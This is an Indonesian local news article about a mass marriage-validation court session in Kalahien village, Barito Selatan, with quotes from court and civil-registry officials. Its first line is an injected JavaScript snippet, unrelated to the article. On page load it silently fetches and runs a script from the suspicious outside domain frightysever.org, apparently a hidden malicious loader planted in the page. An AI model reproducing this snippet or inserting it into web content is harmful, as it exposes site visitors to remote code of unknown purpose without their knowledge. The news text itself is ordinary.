(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BUNTOK – Pengadilan Agama (PA) Buntok bekerjasama dengan Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Barito Selatan (Barsel) dan Kantor Kementerian Agama (Kemenag) Barsel, menggelar sidang itsbat massal di Desa Kalahien, Kecamatan Dusun Selatan, Kamis (10/3/2022).
Sidang itsbat massal disambut antusias masyarakat setempat, terutama bagi pasangan yang menikah secara siri atau tidak tercatat di Kantor Urusan Agama (KUA).
Kepala Desa Kalahien, Eskariadi mengatakan, dengan dilaksanakannya sidang itsbat massal tersebut warga merasa dipermudah dari persoalan administrasi khususnya segi pembiayaan dan juga jarak tempuh.
“Tentu kami berharap kegiatan ini bisa terus berlanjut, sehingga warga yang statusnya masih nikah siri bisa tercatat baik dalam hukum negara,” kata Eskariadi kepada Kanalkalimantan.com.
Baca juga: Jokowi Lantik Ketua Otorita IKN Nusantara, Bambang-Dhony Duet dari Non Parpol
Sementara itu, Ketua Pengadilan Agama Buntok, Mustolich mengungkapkan, melalui sidang itsbat massal ini pihaknya ingin memberikan pelayanan yang lebih mudah kepada masyarakat.
Ia mengatakan, setelah mendapatkan putusan dari pengadilan maka masyarakat juga akan mudah dalam memperoleh identitas kependudukan yang resmi, baik itu dari Disdukcapil maupun Kemenag.
Disamping sidang itsbat massal, kerjasama Pengadilan Agama bersama Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Barsel dan Kemenag juga meliputi one day service dengan SIPADU.
“Kegiatan serupa ini akan kembali digelar di Desa Muara Arai dan Kelurahan Bangkuang,” beber Mustolich.
Kepala Disdukcapil Barsel, Nyamei Tumbai menambahkan, kegiatan sidang itsbat massal ini selain dalam rangka mempermudah masyarakat mendapatkan dokumen kependudukan sekaligus percepatan pendataan kependudukan.
“Setelah dikeluarkan kutipan akta nikah dari Kemenag, selanjutnya mereka akan mendapatkan identitas kependudukan seperti KTP elektronik, Kartu Keluarga (KK) dan jika sudah memiliki anak tentunya dikeluarkan akta kelahiran (AK) dan kartu identitas anak (KIA),” tukas Nyamei.(kanalkalimantan.com/digdo)
Reporter : digdo
Editor : bie
KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More
Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
This website uses cookies.